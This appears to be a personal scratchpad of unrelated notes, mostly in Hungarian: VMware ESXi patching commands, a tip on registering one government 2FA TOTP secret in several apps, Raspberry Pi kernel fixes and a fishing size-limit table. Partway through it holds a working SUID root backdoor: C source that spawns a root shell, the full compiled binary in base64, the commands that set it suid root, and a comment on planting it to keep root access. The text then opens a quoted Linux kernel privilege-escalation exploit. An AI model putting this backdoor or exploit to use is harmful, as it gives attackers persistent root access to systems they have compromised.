esxcli software profile update -p ESXi-8.0U3e-24674464-standard –
d /vmfs/volumes/drive/install/VMware-ESXi-8.0U3e-24674464-depot.zip –no-hardware-warning
esxcli system version get
Product: VMware ESXi
Version: 8.0.2
Build: Releasebuild-23305546
Update: 2
Patch: 30
esxcli system version get
Product: VMware ESXi
Version: 8.0.3
Build: Releasebuild-24674464
Update: 3
Patch: 70
https://yoshi0808.github.io/new-technology/2025/04/12/ESXi8U3e-Patch
esxcli software sources profile list -d https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml | grep ESXi-8.0U3e
esxcli software profile update -p ESXi-8.0U3e-24674464-standard -d https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml
januártól kötelező az ugyfelkapuplusz 2fa
az ügyfélkapu pluszhoz az authot a https://ugyfelkapu.gov.hu/ címen lehet beállítani
támogat mindent, google auth, authy, microsoft auth, mert ugyanaz az algoritmus, sőt van valami gyári támogatott webes megoldás is, totp.app vagy mi
a lényeg, hiába van a menüben “másik eszköz beállítása” az törölni fogja az előző eszközt, tehát így nem lehet több dolgot beállítani
továbbá az első regisztrációkor megad egy kódot az auth törléséhez tartaléknak, azt el kell menteni
viszont!
amikor először regisztrálsz, le kell menteni a QR kódot amit a regisztrációhoz dob
ezzel a QR kóddal nem csak egy eszköz regisztrálható hanem bármennyi és mindig mindegyik ugyanazt a kódot fogja regisztráni
pl az én telefonom az authy és a google authenticator is be van rakva és ugyanazt nyomaj
csak az egyikkel kell beírni a visszajelző kódot, a többit elég csak használni
ennyi
nem tudom van-e időlimit, hogy a qr kódot valami később esetleg nem fogadja el, de ha igen, biztos van olyan alkalmazás ami igen, vagy bármikor újracsinálható minden a “másik eszköz hozzáadása” ponttal
olvasd le a vonalkodot, linux alatt zbarcam (windows10 installer is van)
QR-Code:otpauth://totp/bencsathb@ugyfelkapu.gov.hu?secret=KRIXKRAXKRIXKRAX
oathtool -b –totp KRIXKRAX
1112222
ezzel be tudsz lépni.
deb http://archive.raspberrypi.org/debian/ bookworm main
Linux meropi 6.6.28-v7+ #1758 SMP Fri Apr 19 10:37:06 BST 2024 armv7l GNU/Linux
apt install linux-image-rpi-v7l
sudo apt-get install –reinstall libraspberrypi0 raspberrypi-bootloader raspberrypi-kernel
??
sudo apt-get update; sudo apt-get install –reinstall raspberrypi-bootloader raspberrypi-kernel
a sorrend nem mindegy, lehet a lentit kell előbb beadni
apt install -y linux-image-rpi-v7l linux-headers-rpi-v7l
Halfaj Kifogható halak mérettartománya Naponta kifogható mennyisége
(db vagy kg)
harcsa legalább 60 cm 3 db
csuka legalább 40 cm 3 db
márna legalább 40 cm 3 db
balin legalább 40 cm 3 db
ponty legalább 30 cm 3 db
süllő legalább 30 cm 3 db
kősüllő legalább 25 cm 3 db
compó legalább 25 cm 3 db
sebes pisztráng legalább 22 cm 3 db
domolykó legalább 25 cm 3 kg
menyhal legalább 25 cm 3 kg
garda legalább 20 cm 3 kg
jászkeszeg legalább 20 cm 3 kg
szilvaorrú keszeg legalább 20 cm 3 kg
paduc legalább 20 cm 3 kg
sügér legalább 15 cm 3 kg
#include <unistd.h>
void main()
{
setreuid(0,0);
execl("/bin/bash","bash","-i",NULL);
}> gcc bd.c -o bd
bd.c: In function ‘main’:
bd.c:4: warning: return type of ‘main’ is not ‘int’boldi@linux-xm7e:~/h> file bd
bd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.4, dynamically linked (uses shared libs), for GNU/Linux 2.6.4, not stripped
boldi@linux-xm7e:~/h> base64 bd
f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAQIMECDQAAACUFwAAAAAAADQAIAAJACgAJQAiAAYAAAA0
AAAANIAECDSABAggAQAAIAEAAAUAAAAEAAAAAwAAAFQBAABUgQQIVIEECBMAAAATAAAABAAAAAEA
AAABAAAAAAAAAACABAgAgAQIKAUAACgFAAAFAAAAABAAAAEAAAAUDwAAFJ8ECBSfBAgIAQAADAEA
AAYAAAAAEAAAAgAAACgPAAAonwQIKJ8ECMgAAADIAAAABgAAAAQAAAAEAAAAaAEAAGiBBAhogQQI
IAAAACAAAAAEAAAABAAAAAQAAACIAQAAiIEECIiBBAgYAAAAGAAAAAQAAAAEAAAAUeV0ZAAAAAAA
AAAAAAAAAAAAAAAAAAAABgAAAAQAAABS5XRkFA8AABSfBAgUnwQI7AAAAOwAAAAEAAAAAQAAAC9s
aWIvbGQtbGludXguc28uMgAABAAAABAAAAABAAAAR05VAAAAAAACAAAABgAAAAQAAAAFAAAABAAA
AFN1U0VTdVNFAAAAAAEACgIDAAAABgAAAAEAAAADAAAABQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAA
BAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAgAAAAOAAAAAAAAACfAQAAEgAAACkAAAAA
AAAAWwEAABIAAAAaAAAADIUECAQAAAARAA8ALwAAAAAAAAB7AAAAEgAAAABfX2dtb25fc3RhcnRf
XwBsaWJjLnNvLjYAX0lPX3N0ZGluX3VzZWQAZXhlY2wAc2V0cmV1aWQAX19saWJjX3N0YXJ0X21h
aW4AR0xJQkNfMi4wAAAAAAACAAIAAQACAAEAAQAQAAAAEAAAAAAAAAAQaWkNAAACAEoAAAAAAAAA
8J8ECAYBAAAAoAQIBwEAAASgBAgHAgAACKAECAcDAAAMoAQIBwUAAFWJ5YPsCOiFAAAA6NwAAADo
1wEAAMnDAP81+J8ECP8l/J8ECAAAAAD/JQCgBAhoAAAAAOng/////yUEoAQIaAgAAADp0P////8l
CKAECGgQAAAA6cD/////JQygBAhoGAAAAOmw////AAAAADHtXonhg+TwUFRSaECEBAhoUIQECFFW
aOSDBAjoq/////SQkFWJ5VOD7AToAAAAAFuBw4QcAACLk/z///+F0nQF6Hb///9YW8nDkJCQkJCQ
VYnlg+wIgD0coAQIAHQM6xyDwASjGKAECP/SoRigBAiLEIXSdevGBRygBAgBycOQVYnlg+wIoSSf
BAiFwHQSuAAAAACFwHQJxwQkJJ8ECP/QycOQjUwkBIPk8P9x/FWJ5VGD7BTHRCQEAAAAAMcEJAAA
AADoI////8dEJAwAAAAAx0QkCBCFBAjHRCQEE4UECMcEJBiFBAjo7/7//4PEFFldjWH8w5CQkJCQ
kJCQkJBVieVdw410JgCNvCcAAAAAVYnlV1ZT6F4AAACBw5kbAACD7Bzoa/7//42DIP///4lF8I2D
IP///ylF8MF98AKLVfCF0nQrMf+Jxo22AAAAAItFEIPHAYlEJAiLRQyJRCQEi0UIiQQk/xaDxgQ5
ffB134PEHFteX13Dixwkw5CQkFWJ5VOD7AShFJ8ECIP4/3QSMdv/0IuDEJ8ECIPrBIP4/3Xwg8QE
W13DkJCQVYnlU4PsBOgAAAAAW4HD/BoAAOiM/v//WVvJwwMAAAABAAIALWkAYmFzaAAvYmluL2Jh
c2gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAP////8AAAAA
AAAAAAEAAAAQAAAADAAAANSCBAgNAAAA7IQECAQAAACggQQIBQAAACyCBAgGAAAAzIEECAoAAABU
AAAACwAAABAAAAAVAAAAAAAAAAMAAAD0nwQIAgAAACAAAAAUAAAAEQAAABcAAAC0ggQIEQAAAKyC
BAgSAAAACAAAABMAAAAIAAAA/v//b4yCBAj///9vAQAAAPD//2+AggQIAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACifBAgAAAAAAAAAAAKDBAgSgwQI
IoMECDKDBAgAAAAAAAAAACCfBAgAR0NDOiAoR05VKSA0LjEuMiAyMDA2MTExNSAocHJlcmVsZWFz
ZSkgKFNVU0UgTGludXgpAABHQ0M6IChHTlUpIDQuMS4yIDIwMDYxMTE1IChwcmVyZWxlYXNlKSAo
U1VTRSBMaW51eCkAAEdDQzogKEdOVSkgNC4xLjIgMjAwNjExMTUgKHByZXJlbGVhc2UpIChTVVNF
IExpbnV4KQAAR0NDOiAoR05VKSA0LjEuMiAyMDA2MTExNSAocHJlcmVsZWFzZSkgKFNVU0UgTGlu
dXgpAABHQ0M6IChHTlUpIDQuMS4yIDIwMDYxMTE1IChwcmVyZWxlYXNlKSAoU1VTRSBMaW51eCkA
AEdDQzogKEdOVSkgNC4xLjIgMjAwNjExMTUgKHByZXJlbGVhc2UpIChTVVNFIExpbnV4KQAAR0ND
OiAoR05VKSA0LjEuMiAyMDA2MTExNSAocHJlcmVsZWFzZSkgKFNVU0UgTGludXgpAAAsAAAAAgCR
AAAABAAAAAAAZIMECCYAAADUggQICwAAAOyEBAgTAAAAAAAAAAAAAAAkAAAAAgAVAQAABAAAAAAA
6YIECAIAAAAEhQQIBAAAAAAAAAAAAAAAIQAAAAIAAAAAAJEAAAB5AAAAX0lPX3N0ZGluX3VzZWQA
AAAAAI0AAAACAAAAAAAEAQAAAABkgwQIZIMECAAAAAABLwAAAIYAAAACZgAAAAQHAk4AAAABCAJz
AAAAAgcCYQAAAAQHAlAAAAABBgI2AAAAAgUDaW50AAQFAkAAAAAIBQJcAAAACAcCRQAAAAQFAmYA
AAAEBwJXAAAAAQYErAAAAAEZiwAAAAEFAwyFBAgFTwAAAACAAAAAAgBCAAAABAEnAAAAAAAAAC91
c3Ivc3JjL3BhY2thZ2VzL0JVSUxEL2dsaWJjLTIuNS9jYy1ucHRsL2NzdS9jcnRpLlMAL3Vzci9z
cmMvcGFja2FnZXMvQlVJTEQvZ2xpYmMtMi41L2NzdQBHTlUgQVMgMi4xNy41MC4wLjUAAYCAAAAA
AgBUAAAABAHAAAAAKAAAAC91c3Ivc3JjL3BhY2thZ2VzL0JVSUxEL2dsaWJjLTIuNS9jYy1ucHRs
L2NzdS9jcnRuLlMAL3Vzci9zcmMvcGFja2FnZXMvQlVJTEQvZ2xpYmMtMi41L2NzdQBHTlUgQVMg
Mi4xNy41MC4wLjUAAYABEQEQBhIBEQElDhMLAw4bDgAAAiQAAw4LCz4LAAADJAADCAsLPgsAAAQ0
AAMOOgs7C0kTPwwCCgAABSYASRMAAAABEQAQBlUGAwgbCCUIEwUAAAABEQAQBlUGAwgbCCUIEwUA
AAAjAAAAAgAdAAAAAQH7Dg0AAQEBAQAAAAEAAAEAaW5pdC5jAAAAAACVAAAAAgBLAAAAAQH7Dg0A
AQEBAQAAAAEAAAEvdXNyL3NyYy9wYWNrYWdlcy9CVUlMRC9nbGliYy0yLjUvY2MtbnB0bC9jc3UA
AGNydGkuUwABAAAAAAUCZIMECAMLASEvIT1aIWdnLy9aISEhAgEAAQEABQLUggQIAyMBIS89AgUA
AQEABQLshAQIAzMBIS8hPVohAgYAAQFzAAAAAgBLAAAAAQH7Dg0AAQEBAQAAAAEAAAEvdXNyL3Ny
Yy9wYWNrYWdlcy9CVUlMRC9nbGliYy0yLjUvY2MtbnB0bC9jc3UAAGNydG4uUwABAAAAAAUC6YIE
CAMJASECAQABAQAFAgSFBAgDEgEhISECAQABAUdOVSBDIDQuMS4yIDIwMDYxMTE1IChwcmVyZWxl
YXNlKSAoU1VTRSBMaW51eCkAaW5pdC5jAHNob3J0IGludABsb25nIGxvbmcgaW50AHVuc2lnbmVk
IGNoYXIAbG9uZyBsb25nIHVuc2lnbmVkIGludABzaG9ydCB1bnNpZ25lZCBpbnQAL3Vzci9zcmMv
cGFja2FnZXMvQlVJTEQvZ2xpYmMtMi41L2NzdQBfSU9fc3RkaW5fdXNlZAAAAP////8AAAAAZIME
CIqDBAjUggQI34IECOyEBAj/hAQIAAAAAAAAAAD/////AAAAAOmCBAjrggQIBIUECAiFBAgAAAAA
AAAAAAAuc3ltdGFiAC5zdHJ0YWIALnNoc3RydGFiAC5pbnRlcnAALm5vdGUuQUJJLXRhZwAubm90
ZS5TdVNFAC5oYXNoAC5keW5zeW0ALmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IA
LnJlbC5keW4ALnJlbC5wbHQALmluaXQALnRleHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWUALmlu
aXRfYXJyYXkALmN0b3JzAC5kdG9ycwAuamNyAC5keW5hbWljAC5nb3QALmdvdC5wbHQALmRhdGEA
LmJzcwAuY29tbWVudAAuZGVidWdfYXJhbmdlcwAuZGVidWdfcHVibmFtZXMALmRlYnVnX2luZm8A
LmRlYnVnX2FiYnJldgAuZGVidWdfbGluZQAuZGVidWdfc3RyAC5kZWJ1Z19yYW5nZXMAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAABAAAAAgAAAFSBBAhUAQAAEwAA
AAAAAAAAAAAAAQAAAAAAAAAjAAAABwAAAAIAAABogQQIaAEAACAAAAAAAAAAAAAAAAQAAAAAAAAA
MQAAAAcAAAACAAAAiIEECIgBAAAYAAAAAAAAAAAAAAAEAAAAAAAAADwAAAAFAAAAAgAAAKCBBAig
AQAALAAAAAUAAAAAAAAABAAAAAQAAABCAAAACwAAAAIAAADMgQQIzAEAAGAAAAAGAAAAAQAAAAQA
AAAQAAAASgAAAAMAAAACAAAALIIECCwCAABUAAAAAAAAAAAAAAABAAAAAAAAAFIAAAD///9vAgAA
AICCBAiAAgAADAAAAAUAAAAAAAAAAgAAAAIAAABfAAAA/v//bwIAAACMggQIjAIAACAAAAAGAAAA
AQAAAAQAAAAAAAAAbgAAAAkAAAACAAAArIIECKwCAAAIAAAABQAAAAAAAAAEAAAACAAAAHcAAAAJ
AAAAAgAAALSCBAi0AgAAIAAAAAUAAAAMAAAABAAAAAgAAACAAAAAAQAAAAYAAADUggQI1AIAABcA
AAAAAAAAAAAAAAQAAAAAAAAAewAAAAEAAAAGAAAA7IIECOwCAABQAAAAAAAAAAAAAAAEAAAABAAA
AIYAAAABAAAABgAAAECDBAhAAwAArAEAAAAAAAAAAAAAEAAAAAAAAACMAAAAAQAAAAYAAADshAQI
7AQAABwAAAAAAAAAAAAAAAQAAAAAAAAAkgAAAAEAAAACAAAACIUECAgFAAAaAAAAAAAAAAAAAAAE
AAAAAAAAAJoAAAABAAAAAgAAACSFBAgkBQAABAAAAAAAAAAAAAAABAAAAAAAAACkAAAADgAAAAMA
AAAUnwQIHBAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAsAAAAAEAAAADAAAAFJ8ECBQPAAAIAAAAAAAA
AAAAAAAEAAAAAAAAALcAAAABAAAAAwAAAByfBAgcDwAACAAAAAAAAAAAAAAABAAAAAAAAAC+AAAA
AQAAAAMAAAAknwQIJA8AAAQAAAAAAAAAAAAAAAQAAAAAAAAAwwAAAAYAAAADAAAAKJ8ECCgPAADI
AAAABgAAAAAAAAAEAAAACAAAAMwAAAABAAAAAwAAAPCfBAjwDwAABAAAAAAAAAAAAAAABAAAAAQA
AADRAAAAAQAAAAMAAAD0nwQI9A8AABwAAAAAAAAAAAAAAAQAAAAEAAAA2gAAAAEAAAADAAAAEKAE
CBAQAAAMAAAAAAAAAAAAAAAEAAAAAAAAAOAAAAAIAAAAAwAAABygBAgcEAAABAAAAAAAAAAAAAAA
BAAAAAAAAADlAAAAAQAAAAAAAAAAAAAAHBAAAHMBAAAAAAAAAAAAAAEAAAAAAAAA7gAAAAEAAAAA
AAAAAAAAAJARAABYAAAAAAAAAAAAAAAIAAAAAAAAAP0AAAABAAAAAAAAAAAAAADoEQAAJQAAAAAA
AAAAAAAAAQAAAAAAAAANAQAAAQAAAAAAAAAAAAAADRIAAJkBAAAAAAAAAAAAAAEAAAAAAAAAGQEA
AAEAAAAAAAAAAAAAAKYTAABmAAAAAAAAAAAAAAABAAAAAAAAACcBAAABAAAAAAAAAAAAAAAMFAAA
NwEAAAAAAAAAAAAAAQAAAAAAAAAzAQAAAQAAADAAAAAAAAAAQxUAALsAAAAAAAAAAAAAAAEAAAAB
AAAAPgEAAAEAAAAAAAAAAAAAAAAWAABIAAAAAAAAAAAAAAAIAAAAAAAAABEAAAADAAAAAAAAAAAA
AABIFgAATAEAAAAAAAAAAAAAAQAAAAAAAAABAAAAAgAAAAAAAAAAAAAAXB0AACAFAAAkAAAAPgAA
AAQAAAAQAAAACQAAAAMAAAAAAAAAAAAAAHwiAADFAgAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAVIEECAAAAAADAAEAAAAAAGiBBAgAAAAAAwACAAAAAACIgQQIAAAAAAMAAwAA
AAAAoIEECAAAAAADAAQAAAAAAMyBBAgAAAAAAwAFAAAAAAAsggQIAAAAAAMABgAAAAAAgIIECAAA
AAADAAcAAAAAAIyCBAgAAAAAAwAIAAAAAACsggQIAAAAAAMACQAAAAAAtIIECAAAAAADAAoAAAAA
ANSCBAgAAAAAAwALAAAAAADsggQIAAAAAAMADAAAAAAAQIMECAAAAAADAA0AAAAAAOyEBAgAAAAA
AwAOAAAAAAAIhQQIAAAAAAMADwAAAAAAJIUECAAAAAADABAAAAAAABSfBAgAAAAAAwARAAAAAAAU
nwQIAAAAAAMAEgAAAAAAHJ8ECAAAAAADABMAAAAAACSfBAgAAAAAAwAUAAAAAAAonwQIAAAAAAMA
FQAAAAAA8J8ECAAAAAADABYAAAAAAPSfBAgAAAAAAwAXAAAAAAAQoAQIAAAAAAMAGAAAAAAAHKAE
CAAAAAADABkAAAAAAAAAAAAAAAAAAwAaAAAAAAAAAAAAAAAAAAMAGwAAAAAAAAAAAAAAAAADABwA
AAAAAAAAAAAAAAAAAwAdAAAAAAAAAAAAAAAAAAMAHgAAAAAAAAAAAAAAAAADAB8AAAAAAAAAAAAA
AAAAAwAgAAAAAAAAAAAAAAAAAAMAIQABAAAAAAAAAAAAAAAEAPH/DAAAAAAAAAAAAAAABADx/xgA
AAAAAAAAAAAAAAQA8f80AAAAAAAAAAAAAAAEAPH/OwAAAAAAAAAAAAAABADx/0YAAAAAAAAAAAAA
AAQA8f97AAAAZIMECAAAAAACAA0AiwAAAAAAAAAAAAAABADx/5YAAAAUnwQIAAAAAAEAEgCkAAAA
HJ8ECAAAAAABABMAsgAAACSfBAgAAAAAAQAUAL8AAAAcoAQIAQAAAAEAGQDOAAAAGKAECAAAAAAB
ABgA1QAAAJCDBAgAAAAAAgANAOsAAADAgwQIAAAAAAIADQCLAAAAAAAAAAAAAAAEAPH/9wAAABif
BAgAAAAAAQASAAQBAAAgnwQIAAAAAAEAEwARAQAAJIUECAAAAAABABAAHwEAACSfBAgAAAAAAQAU
ACsBAADAhAQIAAAAAAIADQA7AAAAAAAAAAAAAAAEAPH/QQEAAAAAAAAAAAAABADx/3YBAAAAAAAA
AAAAAAQA8f97AQAA9J8ECAAAAAABAhcAkQEAABSfBAgAAAAAAAIRAKIBAAAUnwQIAAAAAAACEQC1
AQAAKJ8ECAAAAAABAhUAvgEAABCgBAgAAAAAIAAYAMkBAABAhAQIBQAAABIADQDZAQAAQIMECAAA
AAASAA0A4AEAAAAAAAAAAAAAIAAAAO8BAAAAAAAAAAAAACAAAAADAgAACIUECAQAAAARAA8ACgIA
AOyEBAgAAAAAEgAOABACAAAAAAAAnwEAABIAAAAtAgAAAAAAAFsBAAASAAAAPgIAAAyFBAgEAAAA
EQAPAE0CAAAQoAQIAAAAABAAGABaAgAAFKAECAAAAAARAhgAZwIAAFCEBAhpAAAAEgANAHcCAAAc
oAQIAAAAABAA8f+DAgAAAAAAAHsAAAASAAAAlwIAACCgBAgAAAAAEADx/5wCAAAcoAQIAAAAABAA
8f+jAgAAuYQECAAAAAASAg0AugIAAOSDBAhSAAAAEgANAL8CAADUggQIAAAAABIACwAAYWJpLW5v
dGUuUwBzdXNlLW5vdGUuUwAuLi9zeXNkZXBzL2kzODYvZWxmL3N0YXJ0LlMAaW5pdC5jAGluaXRm
aW5pLmMAL3Vzci9zcmMvcGFja2FnZXMvQlVJTEQvZ2xpYmMtMi41L2NjLW5wdGwvY3N1L2NydGku
UwBjYWxsX2dtb25fc3RhcnQAY3J0c3R1ZmYuYwBfX0NUT1JfTElTVF9fAF9fRFRPUl9MSVNUX18A
X19KQ1JfTElTVF9fAGNvbXBsZXRlZC41NzUyAHAuNTc1MABfX2RvX2dsb2JhbF9kdG9yc19hdXgA
ZnJhbWVfZHVtbXkAX19DVE9SX0VORF9fAF9fRFRPUl9FTkRfXwBfX0ZSQU1FX0VORF9fAF9fSkNS
X0VORF9fAF9fZG9fZ2xvYmFsX2N0b3JzX2F1eAAvdXNyL3NyYy9wYWNrYWdlcy9CVUlMRC9nbGli
Yy0yLjUvY2MtbnB0bC9jc3UvY3J0bi5TAGJkLmMAX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9faW5p
dF9hcnJheV9lbmQAX19pbml0X2FycmF5X3N0YXJ0AF9EWU5BTUlDAGRhdGFfc3RhcnQAX19saWJj
X2NzdV9maW5pAF9zdGFydABfX2dtb25fc3RhcnRfXwBfSnZfUmVnaXN0ZXJDbGFzc2VzAF9mcF9o
dwBfZmluaQBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGV4ZWNsQEBHTElCQ18yLjAAX0lP
X3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2luaXQAX19i
c3Nfc3RhcnQAc2V0cmV1aWRAQEdMSUJDXzIuMABfZW5kAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3Ro
dW5rLmJ4AG1haW4AX2luaXQAsh-3.1# chown root.root bd
sh-3.1# chmod u+s bd
sh-3.1# ls -ls
total 28
12 -rwsr-xr-x 1 root root 9537 Jun 28 02:50 bd
16 -rw-r–r– 1 boldi users 12885 Jun 28 02:48 bd.b64
sh-3.1# ls -la
total 36
drwxr-xr-x 2 boldi users 4096 Jun 28 02:50 .
drwx—— 4 boldi root 4096 Jun 28 02:48 ..
-rwsr-xr-x 1 root root 9537 Jun 28 02:50 bd
-rw-r–r– 1 boldi users 12885 Jun 28 02:48 bd.b64
Volt root userunk, de stabilizálni kellett, a sudo meg nem ment jól, akkor rakjunk fel egy suid root backdoort. oké, de nincs gcc, fordítsuk le máshol , aztán a root shellben állítsuk be suid rootra, aztán majd a user csak elindítja és bumm.
de fontos hogy ez egy suse 10.1 rendszer így jobb, ha ott fordítjuk a binárisokat. ezért van itt base64ben amit fordítottam.
https://www.exploit-db.com/raw/9545
/*
* Linux sock_sendpage() NULL pointer dereference
* Copyright 2009 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
*/
/*
* This exploit was written to illustrate the exploitability of this
